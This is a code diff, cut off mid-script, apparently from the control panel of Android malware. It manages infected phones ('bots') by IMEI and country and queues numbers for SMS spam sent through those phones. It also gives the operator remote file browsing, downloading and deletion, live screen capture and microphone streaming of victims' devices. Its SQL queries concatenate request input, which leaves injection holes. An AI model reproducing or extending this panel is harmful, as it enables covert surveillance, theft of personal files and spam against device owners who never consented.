<div class="content">
|
||||
|
||||
<script type="text/javascript">
|
||||
function checkAll(checkId){
|
||||
var inputs = document.getElementsByTagName("input");
|
||||
for (var i = 0; i < inputs.length; i++) {
|
||||
if (inputs[i].type == "checkbox" && inputs[i].id == checkId) {
|
||||
if(inputs[i].checked == true) {
|
||||
inputs[i].checked = false ;
|
||||
} else if (inputs[i].checked == false ) {
|
||||
inputs[i].checked = true ;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
<?php
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
if(strlen($_POST['text_spam'])>2){
|
||||
$strNumbers = $_POST['text_spam'];
|
||||
$strNumbers = str_replace(" ","",$strNumbers);
|
||||
$strNumbers = str_replace("-","",$strNumbers);
|
||||
$strNumbers = str_replace("(","",$strNumbers);
|
||||
$strNumbers = str_replace(")","",$strNumbers);
|
||||
$arrayNumbers = explode(',',$strNumbers);
|
||||
|
||||
foreach ($arrayNumbers as $key => $value) {
|
||||
$statement = $connection->prepare("insert into smsspam (number,status) value ('$value','0')");
|
||||
$statement->execute([$value]);
|
||||
}
|
||||
|
||||
//INSERT INTO `smsspam`(`number`, `status`) VALUES ('12312','0')
|
||||
|
||||
}
|
||||
|
||||
?>
|
||||
<div style="margin-top:10px;">
|
||||
<form name='spam' method='post'>
|
||||
<center>
|
||||
</br>Numbers(num1, num2, ..) or (name1/num1, name2/num2, ..)
|
||||
</br>The name of the holder in the message is specified by the tag {nameholder}
|
||||
</br><input type="text" name="text_spam" id="text_spam" style="color: #337ab7; background: #1D1F24; font-size: 13; height: 28px; width: 75%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc; border-radius: 5px;"></input>
|
||||
</br><input type='submit' value='Add Numbers' name='add_numbers' style='margin-top:5px;' class='btn btn-outline-success'/>
|
||||
</center>
|
||||
|
||||
</form>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<table class="table table-hover table_dark" id="bootstrap-table">
|
||||
<thead class="header_table_bots">
|
||||
<th><input type="checkbox" id="chk_new" onclick="checkAll('chk');" /></th>
|
||||
<th>ID</th>
|
||||
<th>Name Holder/Number</th>
|
||||
<th>Status</th>
|
||||
</thead>
|
||||
|
||||
<?php
|
||||
$sql = "SELECT * FROM smsspam";
|
||||
$booleanIMEI = false;
|
||||
|
||||
//*****Обработка запросa Для удаления!
|
||||
if((isset($_POST["delete"])) && (isset($_POST["checks"])))
|
||||
{
|
||||
if (preg_match("/checks/",print_r($_POST,true)))
|
||||
{
|
||||
foreach($_POST["checks"] as $id)
|
||||
{
|
||||
$id_del = $id;
|
||||
$sql2 = "DELETE FROM smsspam WHERE id='".$id_del."'";
|
||||
$connection->query($sql2);
|
||||
}
|
||||
}
|
||||
header ('Location: /index.php?cont=commands');
|
||||
}
|
||||
|
||||
//******батоны и переменые с базы!********
|
||||
echo "<form method='post'>";
|
||||
$notsend=0;
|
||||
$send=0;
|
||||
$insend=0;
|
||||
|
||||
foreach($connection->query($sql) as $row){
|
||||
$ID = $row['id'];
|
||||
$number = $row['number'];
|
||||
$status = $row['status'];
|
||||
|
||||
$pathIcon="";
|
||||
if($status=="0"){
|
||||
$pathIcon="images/icons/sms_x.png";
|
||||
$notsend++;
|
||||
}elseif($status=="1"){
|
||||
$pathIcon="images/icons/sms_r.png";
|
||||
$insend++;
|
||||
}else{
|
||||
$pathIcon="images/icons/sms_v.png";
|
||||
$send++;
|
||||
}
|
||||
|
||||
//************Данные в таблице********************************************
|
||||
echo "<tr class='table_bots' style='color: #A4A4A4'>
|
||||
<td><input type=checkbox id='chk' name=checks[] value=$ID></input></td>
|
||||
<td>$ID</td>
|
||||
<td>$number</td>
|
||||
<td><img src=$pathIcon width='30px'/></td>
|
||||
</tr>";
|
||||
}
|
||||
echo "<p id='text_command' style='margin-top:5px; Color:#EDB749; font-size: 13pt;'>Numbers for SMS Spam (On Queue: $notsend, Send: $send, In Sending: $insend)</p>";
|
||||
echo "<input type='submit' value='Delete' name='delete' style='margin-left:68px; margin-top:15px;' class='btn btn-outline-danger'/>";
|
||||
|
||||
echo "</form>";
|
||||
|
||||
// id IMEI command
|
||||
?>
|
||||
|
||||
</table>
|
||||
</div>
|
||||
<?php } ?>
|
||||
@@ -0,0 +1,303 @@
|
||||
<?php
|
||||
|
||||
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}else{
|
||||
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}
|
||||
}
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT version_apk, country, lastConnect, firstConnect FROM kliets";
|
||||
|
||||
$Country[]="";
|
||||
for($ii=0;$ii<5000;$ii++)
|
||||
{
|
||||
$kol[$ii] = 0;
|
||||
$kol_on[$ii] = 0;
|
||||
$kol_off[$ii] = 0;
|
||||
$kol_off2x[$ii] = 0;
|
||||
$setup[$ii] = 0;
|
||||
$installs[$ii] = 0;
|
||||
$kills[$ii] = 0;
|
||||
}
|
||||
|
||||
$all_kol = 0;
|
||||
$all_kol_on = 0;
|
||||
$all_kol_off = 0;
|
||||
$all_kol_off2x = 0;
|
||||
$all_setup = 0;
|
||||
$all_installs = 0;
|
||||
$all_kills = 0;
|
||||
$kol_offline=0;
|
||||
|
||||
$indexSQL=0;
|
||||
|
||||
/****Ограничение по тегам****/
|
||||
$userRights = new users_right;
|
||||
$tags = explode("|", $userRights->getPrivateTags());
|
||||
$thisTag = explode(",", $tags[0]);
|
||||
$privateTag = explode(",", $tags[1]);
|
||||
/****************************/
|
||||
|
||||
|
||||
foreach($connection->query($sql) as $row)
|
||||
{
|
||||
|
||||
$country = $row['country'];
|
||||
$version_apk = $row['version_apk'];
|
||||
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
|
||||
{
|
||||
$boolContinue=true;
|
||||
if($tags[0]!=",")
|
||||
{
|
||||
foreach($thisTag as $tag)
|
||||
{
|
||||
if($version_apk == $tag)
|
||||
{
|
||||
if($tag!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if($boolContinue)continue;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach($privateTag as $tag)
|
||||
{
|
||||
if($version_apk == $tag)
|
||||
{
|
||||
if($tag!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(!$boolContinue)continue;
|
||||
}
|
||||
}//---------------
|
||||
|
||||
if($indexSQL==0)
|
||||
{
|
||||
$Country[]=$country;
|
||||
$indexSQL++;
|
||||
}else{
|
||||
$goCountry = false;
|
||||
for ($i = 0; $i <= count($Country)-1; $i++){
|
||||
if($country == $Country[$i]){
|
||||
$goCountry = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if($goCountry == false){
|
||||
$Country[]=$country;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach($connection->query($sql) as $row){
|
||||
$version_apk = $row['version_apk'];
|
||||
$country = $row['country'];
|
||||
|
||||
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
|
||||
{
|
||||
$boolContinue=true;
|
||||
if($tags[0]!=",")
|
||||
{
|
||||
foreach($thisTag as $tag)
|
||||
{
|
||||
if($version_apk == $tag)
|
||||
{
|
||||
if($tag!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if($boolContinue)continue;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach($privateTag as $tag)
|
||||
{
|
||||
if($version_apk == $tag)
|
||||
{
|
||||
if($tag!="")
|
||||
{
|
||||
$boolContinue=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(!$boolContinue)continue;
|
||||
}
|
||||
}//---------------
|
||||
|
||||
$all_kol++;
|
||||
|
||||
|
||||
for ($i = 0; $i <= count($Country)-1; $i++){
|
||||
if($country == $Country[$i]){
|
||||
$kol[$i]++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//******Получаем иконку состояния бота, вычисляем дату****
|
||||
$arr_data_from = explode(" ", $row['lastConnect']);
|
||||
$arr_data_till = explode(" ", date('Y-m-d H:i'));
|
||||
|
||||
$date_from = $arr_data_from[0];
|
||||
$date_till = $arr_data_till[0];
|
||||
|
||||
$date_from = explode('-', $date_from);
|
||||
$date_till = explode('-', $date_till);
|
||||
|
||||
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
|
||||
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
|
||||
|
||||
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
|
||||
//----------Секунды!-------/
|
||||
$date1 = new \DateTime($row['lastConnect']);
|
||||
$date2 = new \DateTime(date('Y-m-d H:i'));
|
||||
$diff = $date2->diff($date1);
|
||||
// разница в секундах
|
||||
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
|
||||
($diff->m * 30 * 24 * 60 * 60) +
|
||||
($diff->d * 24 * 60 * 60) +
|
||||
($diff->h * 60 * 60) +
|
||||
($diff->i * 60) +
|
||||
$diff->s;
|
||||
//----------обработка состояние иконки on/off-------/
|
||||
if($day>=2)//Дни!
|
||||
{
|
||||
|
||||
$all_kol_off++;
|
||||
$all_kol_off2x++;
|
||||
|
||||
|
||||
for ($i = 0; $i <= count($Country)-1; $i++){
|
||||
if($country == $Country[$i]){
|
||||
$kol_off2x[$i]++;
|
||||
$kol_off[$i]++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if($seconds<=120)
|
||||
{
|
||||
$all_kol_on++;
|
||||
for ($i = 0; $i <= count($Country)-1; $i++){
|
||||
if($country == $Country[$i]){
|
||||
$kol_on[$i]++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$kol_offline++;
|
||||
$all_kol_off++;
|
||||
|
||||
for ($i = 0; $i <= count($Country)-1; $i++){
|
||||
if($country == $Country[$i]){
|
||||
$kol_off[$i]++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//************Установок за сегондя********************************************
|
||||
|
||||
$arr_data_from2 = explode(" ", $row['firstConnect']);
|
||||
$arr_data_till2 = explode(" ", date('Y-m-d H:i'));
|
||||
|
||||
$date_from2 = $arr_data_from2[0];
|
||||
$date_till2 = $arr_data_till2[0];
|
||||
|
||||
$date_from2 = explode('-', $date_from2);
|
||||
$date_till2 = explode('-', $date_till2);
|
||||
|
||||
$time_from2 = mktime(0, 0, 0, $date_from2[1], $date_from2[2], $date_from2[0]);
|
||||
$time_till2 = mktime(0, 0, 0, $date_till2[1], $date_till2[2], $date_till2[0]);
|
||||
|
||||
$day2 = ($time_till2 - $time_from2)/60/60/24; //получаем разницу кол-во дней!
|
||||
|
||||
if($day2 == 0)//считаем количество установок за сегодня
|
||||
{
|
||||
$all_setup++;
|
||||
for ($i = 0; $i <= count($Country)-1; $i++){
|
||||
if($country == $Country[$i]){
|
||||
$setup[$i]++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
?>
|
||||
|
||||
<div class="content" style="padding-top:15px; font-size:20px">
|
||||
<table class="table table-hover table_dark" id="bootstrap-table">
|
||||
<thead class="header_table_bots">
|
||||
<th><a title="Country"><img src="images/icons/table/Country.png" width='25px'/></a></th>
|
||||
<th>Count</th>
|
||||
<th>Online</th>
|
||||
<th>Offline</th>
|
||||
<th>Offline more than 2 days</th>
|
||||
<th>Installed today</th>
|
||||
</thead>
|
||||
|
||||
<?php
|
||||
echo "<p id='text_command' style='margin-top:5px; Color:#EDB749; font-size: 13pt;'>Statistics</p>";
|
||||
|
||||
for ($i = 0; $i<=count($Country)-1; $i++){
|
||||
|
||||
|
||||
|
||||
if($Country[$i]!=""||$Country[$i]!=null)
|
||||
{
|
||||
|
||||
echo "<tr class='table_bots' style='color: #A4A4A4'>
|
||||
<td>
|
||||
<a title='$Country[$i]'><img src='images/country/$Country[$i].png' width='20px'/></a>
|
||||
</td>
|
||||
<td>$kol[$i]</td>
|
||||
<td>$kol_on[$i]</td>
|
||||
<td>$kol_off[$i]</td>
|
||||
<td>$kol_off2x[$i]</td>
|
||||
<td>$setup[$i]</td>
|
||||
</tr>";
|
||||
}
|
||||
}
|
||||
|
||||
echo "<tr class='table_bots' style='color: #A4A4A4'>
|
||||
<td>
|
||||
<a>Total</a>
|
||||
</td>
|
||||
<td>$all_kol</td>
|
||||
<td>$all_kol_on</td>
|
||||
<td>$all_kol_off</td>
|
||||
<td>$all_kol_off2x</td>
|
||||
<td>$all_setup</td>
|
||||
</tr>";
|
||||
?>
|
||||
|
||||
</div>
|
||||
@@ -0,0 +1,544 @@
|
||||
<?php
|
||||
$statusCode=false;
|
||||
if (!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
if($statusCode){
|
||||
?>
|
||||
<div id="showAlert"></div>
|
||||
<div class="content">
|
||||
<center>
|
||||
<input type='submit' value='File System' onClick="location.href='index.php?cont=ws&page=file-system'" style='width:140px; margin-left:30px;margin-top:10px; ' class='btn btn-outline-secondary'/>
|
||||
<input type='submit' value='Stream Screen'onClick="location.href='index.php?cont=ws&page=streamscreen'" style='width:140px; margin-left:30px;margin-top:10px;' class='btn btn-outline-secondary'/>
|
||||
<input type='submit' value='Stream Sound'onClick="location.href='index.php?cont=ws&page=streamsound'" style='width:140px; margin-left:30px;margin-top:10px;' class='btn btn-outline-secondary'/>
|
||||
</center>
|
||||
|
||||
<div id='DIV_Server' style='margin-left:20px;width:25%; float:left; min-height: 50px; margin-top:20px; border: 0px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
|
||||
<a style='margin-left:77px;color:#ffffff'>ID Bots</a></br>
|
||||
<select name="comboBox_imeis" id="comboBox_imeis" style="width: 200px;color: #337ab7; font-size: 13; height: 28px;background: #1D1F24">
|
||||
<?php
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connection->prepare("SELECT IMEI,lastConnect FROM kliets");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
$IMEI = $row['IMEI'];
|
||||
//******Получаем иконку состояния бота, вычисляем дату****
|
||||
$arr_data_from = explode(" ", $row['lastConnect']);
|
||||
$arr_data_till = explode(" ", date('Y-m-d H:i'));
|
||||
|
||||
$date_from = $arr_data_from[0];
|
||||
$date_till = $arr_data_till[0];
|
||||
|
||||
$date_from = explode('-', $date_from);
|
||||
$date_till = explode('-', $date_till);
|
||||
|
||||
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
|
||||
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
|
||||
|
||||
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
|
||||
//----------Секунды!-------/
|
||||
$date1 = new \DateTime($row['lastConnect']);
|
||||
$date2 = new \DateTime(date('Y-m-d H:i'));
|
||||
$diff = $date2->diff($date1);
|
||||
// разница в секундах
|
||||
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
|
||||
($diff->m * 30 * 24 * 60 * 60) +
|
||||
($diff->d * 24 * 60 * 60) +
|
||||
($diff->h * 60 * 60) +
|
||||
($diff->i * 60) +
|
||||
$diff->s;
|
||||
//----------обработка состояние иконки on/off-------/
|
||||
if($day>=2){}
|
||||
else{
|
||||
if($seconds<=120){
|
||||
echo "<option value='$IMEI'>$IMEI";
|
||||
}
|
||||
}
|
||||
}
|
||||
?>
|
||||
</select> </br>
|
||||
<input type='submit' value='Connect' onClick='sendDataCommand()' style='width: 90px; margin-top:2px; margin-right:0px;' class='btn btn-outline-success'/>
|
||||
<input type='submit' value='Disconnect' onClick='disconnect()' style='width: 107px; margin-top:2px; margin-right:5px;' class='btn btn-outline-danger'/>
|
||||
</br>
|
||||
<div id="CheckPort" style="padding-top:9px">
|
||||
<img src="images/loader.gif" style="margin-top:5px; margin-left:60px;width:14%; height:5%"/>
|
||||
</div>
|
||||
</br>
|
||||
|
||||
</div>
|
||||
<?php
|
||||
$domain = $_SERVER['SERVER_NAME'];
|
||||
if (isset($_SERVER['HTTPS']))
|
||||
$scheme = $_SERVER['HTTPS'];
|
||||
else
|
||||
$scheme = '';
|
||||
if (($scheme) && ($scheme != 'off')) $scheme = 'https';
|
||||
else $scheme = 'http';
|
||||
|
||||
$urlpanel = "$scheme://$domain";
|
||||
|
||||
?>
|
||||
<script>
|
||||
|
||||
function sendDataCommand(){
|
||||
var imei = document.getElementById("comboBox_imeis").value;
|
||||
updateBotID(imei);
|
||||
var url = '<?php echo $urlpanel?>';
|
||||
$.ajax({url: 'application/set/commandBots.php?comboBox_commands=rat&text_imei='+ imei+'&url='+url,cache: false});
|
||||
|
||||
startNatif('success','The team was successfully added!');
|
||||
}
|
||||
|
||||
function updateBotID(imei){
|
||||
$.ajax({url: 'application/websocket/utils.php?updateimei='+ imei,cache: false});
|
||||
}
|
||||
|
||||
function disconnect(){
|
||||
$.ajax({url: 'application/websocket/utils.php?updateimei=',cache: false});
|
||||
startNatif('success','The сlient successfully disabled!!');
|
||||
}
|
||||
|
||||
</script>
|
||||
<?php
|
||||
}
|
||||
$page = $_GET['page'];
|
||||
echo "<center>";
|
||||
if($page == "file-system"){
|
||||
FileSystem();
|
||||
}
|
||||
elseif($page == "streamscreen"){
|
||||
StreamScreen();
|
||||
}
|
||||
elseif($page == "streamsound"){
|
||||
StreamSound();
|
||||
}
|
||||
else{
|
||||
FileSystem();
|
||||
}
|
||||
echo "</center>";
|
||||
|
||||
function StreamSound(){
|
||||
echo "<div id='DIV_SOUND' style='width:50%; margin-left:10%; min-height: 300px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
|
||||
|
||||
<div id='div_sound'>
|
||||
<center>Stream Sound</center>
|
||||
|
||||
<input type='submit' onClick='javascript:void(addcommand(\"startforegroundsound\"))' value='Start Sound + Foreground' id='btcstartsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
|
||||
<input type='submit' onClick='javascript:void(addcommand(\"startsound\"))' value='Start Sound' id='btcstartsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
|
||||
<input type='submit' onClick='javascript:void(addcommand(\"stopsound\"))' value='Stop Sound' id='btcstopsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
|
||||
<center>
|
||||
<div style='width:98%; height: 1px; background:#333; margin-top: 20px' ></div></br>
|
||||
|
||||
</center>
|
||||
|
||||
</div></br></div></br>
|
||||
|
||||
<script>
|
||||
|
||||
var startNameSound='';
|
||||
|
||||
startSound();
|
||||
|
||||
function startSound() {
|
||||
$.ajax({url: 'application/websocket/utils.php?sound=get',
|
||||
success: function(data) {
|
||||
if(startNameSound == data) return;
|
||||
start('application/websocket/sound/'+data+'.amr');
|
||||
startNameSound = data;
|
||||
}});
|
||||
}
|
||||
|
||||
function start(path){
|
||||
fetchBlob(path, function(blob) {
|
||||
playAmrBlob(blob);
|
||||
});
|
||||
}
|
||||
|
||||
var gAudioContext = new AudioContext();
|
||||
|
||||
function E(selector) {
|
||||
return document.querySelector(selector);
|
||||
}
|
||||
|
||||
function getAudioContext() {
|
||||
if (!gAudioContext) {
|
||||
gAudioContext = new AudioContext();
|
||||
}
|
||||
return gAudioContext;
|
||||
}
|
||||
|
||||
function fetchBlob(url, callback) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', url);
|
||||
xhr.responseType = 'blob';
|
||||
xhr.onload = function() {
|
||||
callback(this.response);
|
||||
};
|
||||
xhr.onerror = function() {
|
||||
};
|
||||
xhr.send();
|
||||
}
|
||||
|
||||
function readBlob(blob, callback) {
|
||||
var reader = new FileReader();
|
||||
reader.onload = function(e) {
|
||||
var data = new Uint8Array(e.target.result);
|
||||
callback(data);
|
||||
};
|
||||
reader.readAsArrayBuffer(blob);
|
||||
}
|
||||
|
||||
|
||||
function playAmrBlob(blob, callback) {
|
||||
readBlob(blob, function(data) {
|
||||
playAmrArray(data);
|
||||
});
|
||||
}
|
||||
|
||||
function playAmrArray(array) {
|
||||
var samples = AMR.decode(array);
|
||||
if (!samples) {
|
||||
return;
|
||||
}
|
||||
playPcm(samples);
|
||||
}
|
||||
|
||||
function playPcm(samples) {
|
||||
var ctx = getAudioContext();
|
||||
var src = ctx.createBufferSource();
|
||||
var buffer = ctx.createBuffer(1, samples.length, 8000);
|
||||
if (buffer.copyToChannel) {
|
||||
buffer.copyToChannel(samples, 0, 0)
|
||||
} else {
|
||||
var channelBuffer = buffer.getChannelData(0);
|
||||
channelBuffer.set(samples);
|
||||
}
|
||||
|
||||
src.buffer = buffer;
|
||||
src.connect(ctx.destination);
|
||||
src.start();
|
||||
|
||||
setTimeout(endAmr, 3000);
|
||||
}
|
||||
|
||||
function endAmr(){
|
||||
startSound();
|
||||
}
|
||||
|
||||
</script>
|
||||
";
|
||||
}
|
||||
|
||||
function StreamScreen()
|
||||
{
|
||||
echo "<div id='DIV_VNC' style='width:50%; margin-left:10%; min-height: 300px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
|
||||
|
||||
<div id='div_vnc'>
|
||||
<center>Stream Screen</center>
|
||||
|
||||
<input type='submit' onClick='javascript:void(addcommand(\"startscreenVNC\"))' value='Start screen' id='btcstartsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
|
||||
<input type='submit' onClick='javascript:void(addcommand(\"stopscreenVNC\"))' value='Stop screen' id='btcstopsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
|
||||
<center>
|
||||
<div style='width:98%; height: 1px; background:#333; margin-top: 20px' ></div></br>
|
||||
<img src='application/websocket/VNC.jpg' alt='No image' name='VNC'></image>
|
||||
</center>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</br>
|
||||
</div>
|
||||
</br>
|
||||
|
||||
|
||||
<script>
|
||||
refreshImageVNC();
|
||||
function refreshImageVNC() {
|
||||
if (!document.images) return;
|
||||
$.ajax({
|
||||
url: 'application/websocket/utils.php?statvnc=get',
|
||||
success: function(data) {
|
||||
$('.results').html(data);
|
||||
if(data!= ''){
|
||||
var ranint=getRandomInt(0,100000);
|
||||
document.images['VNC'].src = 'application/websocket/VNC/'+data+'?r='+ranint;
|
||||
setTimeout('refreshImageVNC()',300);
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function getRandomInt(min, max) {
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
</script>
|
||||
";
|
||||
|
||||
|
||||
}
|
||||
|
||||
function FileSystem()
|
||||
{
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT urls,urlInj FROM settingsall WHERE id='1'";
|
||||
$database = new database;
|
||||
$path = $database->ws_GetPath();
|
||||
if($path=="") $path = "/";
|
||||
|
||||
$FileFolder = $database->ws_GetFileFolder();
|
||||
$file = explode('!!!!', $FileFolder)[2];
|
||||
$folder = explode('!!!!', $FileFolder)[1];
|
||||
|
||||
$arrayFile = explode('|', $file);
|
||||
$arrayFolder= explode('|', $folder);
|
||||
|
||||
$command = $database->ws_GetCommand();
|
||||
$command = str_replace('opendir:','',$command);
|
||||
$command = str_replace('!!!','',$command);
|
||||
|
||||
echo "
|
||||
|
||||
<div id='DIV_FileSystem' style='width:50%; margin-left:10%; min-height: 300px; max-height: 500px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
|
||||
<form name='FileSystem' method='post'>
|
||||
<div id='div_fs'>
|
||||
<center>File System</center></br>
|
||||
<div style='background:#1D1F24; text-align: left; margin-left:10px'>
|
||||
<input type='hidden' id='savepath' value='$path'/>
|
||||
<a id='idpath' style='background:#1D1F24;'>Path: $path</a></br>
|
||||
<a style='background:#1D1F24;'>Command: $command</a></br>
|
||||
</div>
|
||||
|
||||
<center>
|
||||
<div style='width:98%; height: 1px; background:#333' ></div></br>
|
||||
</center>
|
||||
";
|
||||
|
||||
echo "<div style='background:#1D1F24; text-align: left; margin-left:10px; margin-botton:10px; overflow: auto; max-height: 300px;'>";
|
||||
if(($file=="")&&($folder=="")){
|
||||
if($path!=="/"){
|
||||
echo "<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>..</a></br>";
|
||||
}
|
||||
echo "</br></br></br></br></br>";
|
||||
}else{
|
||||
if($path=="/"){}else{
|
||||
echo "<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>..</a></br>";
|
||||
}
|
||||
}
|
||||
|
||||
foreach($arrayFolder as $fold){
|
||||
if($fold !== "")echo "<span class='glyphicon glyphicon-folder-open' aria-hidden='true' style='color:#337ab7'></span>
|
||||
<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>$fold</a>
|
||||
<a href='javascript:void(addcommand(\"deletefilefolder:$path/$fold####\"))' class='glyphicon glyphicon-remove' aria-hidden='true' style='color:#337ab7' ></a></br>";
|
||||
}
|
||||
foreach($arrayFile as $fil){
|
||||
if($fil !== "")echo "<span class='glyphicon glyphicon-file' aria-hidden='true' style='color:#337ab7'></span>
|
||||
<a style='background:#1D1F24;'>$fil</a>
|
||||
<a href='javascript:void(addcommand(\"downloadfile:$path/$fil####\"))' class='glyphicon glyphicon-cloud-download' aria-hidden='true' style='color:#337ab7' ></a>
|
||||
<a href='javascript:void(addcommand(\"deletefilefolder:$path/$fil####\"))' class='glyphicon glyphicon-remove' aria-hidden='true' style='color:#337ab7' ></a></br>";
|
||||
}
|
||||
|
||||
echo "</div>
|
||||
|
||||
|
||||
<center>
|
||||
<div style='width:98%; height: 1px; background:#333; margin-top: 20px' ></div></br>
|
||||
</center>
|
||||
|
||||
</div>
|
||||
</form>
|
||||
<div style=' text-align: left; margin-left:10px; margin-top:-15px;'>
|
||||
Path <input type='text' name='intInterval' id='intInterval' style='color: #337ab7; background: #1D1F24; width: 50%; font-size: 12; height: 28px; border-radius: 5px;'></input>
|
||||
<input type='submit' value='Open' id='btnclick' style='margin-right:5px;' class='btn btn-outline-success'/>
|
||||
<input type='submit' value='Open SD Card' id='btnclick2' style='margin-right:5px; ' class='btn btn-outline-success'/>
|
||||
|
||||
</div>
|
||||
</br>
|
||||
</div>
|
||||
</br>
|
||||
";
|
||||
}
|
||||
$database = new database;
|
||||
$database->ws_UpdateStatusFileFolder('0');
|
||||
?>
|
||||
|
||||
<script type="text/javascript">
|
||||
|
||||
function addcommand(namefile){
|
||||
$.ajax({
|
||||
url: "application/websocket/utils.php?pathFileFolder=" + namefile,
|
||||
cache: false
|
||||
});
|
||||
showFileFolder();
|
||||
}
|
||||
|
||||
|
||||
document.body.addEventListener("click", function(event) {
|
||||
if ((event.target.nodeName == "A")&&(event.target.getAttribute('id') == "ListFile")){
|
||||
|
||||
var str = event.target.textContent;
|
||||
var path="";
|
||||
if(str == ".."){
|
||||
path = getUrlUp(document.getElementById("savepath").value);
|
||||
str="";
|
||||
}else{
|
||||
path = document.getElementById("savepath").value;
|
||||
path = path + "/";
|
||||
}
|
||||
|
||||
|
||||
|
||||
$.ajax({
|
||||
url: "application/websocket/utils.php?pathFileFolder=opendir:" + path + str + "####",
|
||||
cache: false
|
||||
|
||||
});
|
||||
showFileFolder();
|
||||
}
|
||||
});
|
||||
document.body.addEventListener("click", function(event) {
|
||||
if ((event.target.nodeName == "INPUT")&&(event.target.getAttribute('id') == "btnclick")){
|
||||
|
||||
var text = document.getElementById("intInterval").value;
|
||||
|
||||
$.ajax({
|
||||
url: "application/websocket/utils.php?pathFileFolder=opendir:"+text+"####",
|
||||
cache: false
|
||||
|
||||
});
|
||||
showFileFolder();
|
||||
}
|
||||
});
|
||||
|
||||
document.body.addEventListener("click", function(event) {
|
||||
if ((event.target.nodeName == "INPUT")&&(event.target.getAttribute('id') == "btnclick2")){
|
||||
|
||||
$.ajax({
|
||||
url: "application/websocket/utils.php?pathFileFolder=opendir:getExternalStorageDirectory####",
|
||||
cache: false
|
||||
|
||||
});
|
||||
showFileFolder();
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
// var inProcessShow = false;
|
||||
function show()
|
||||
{
|
||||
// if (inProcessShow) return;
|
||||
// inProcessShow = true;
|
||||
$.ajax({
|
||||
url: "application/websocket/check.php",
|
||||
cache: false,
|
||||
success: function(html){
|
||||
|
||||
$('#CheckPort').fadeTo(0,0.1,function()
|
||||
{
|
||||
$(this).html(html).fadeTo(0,1);
|
||||
// inProcessShow = false;
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
$(document).ready(function(){
|
||||
// show();
|
||||
setInterval('show()',1000);
|
||||
});
|
||||
|
||||
|
||||
function showFileFolder()
|
||||
{
|
||||
$.ajax({
|
||||
url: "application/websocket/checkFileFolder.php",
|
||||
cache: false,
|
||||
success: function(html){
|
||||
$('#div_fs').fadeTo(0,0.1,function()
|
||||
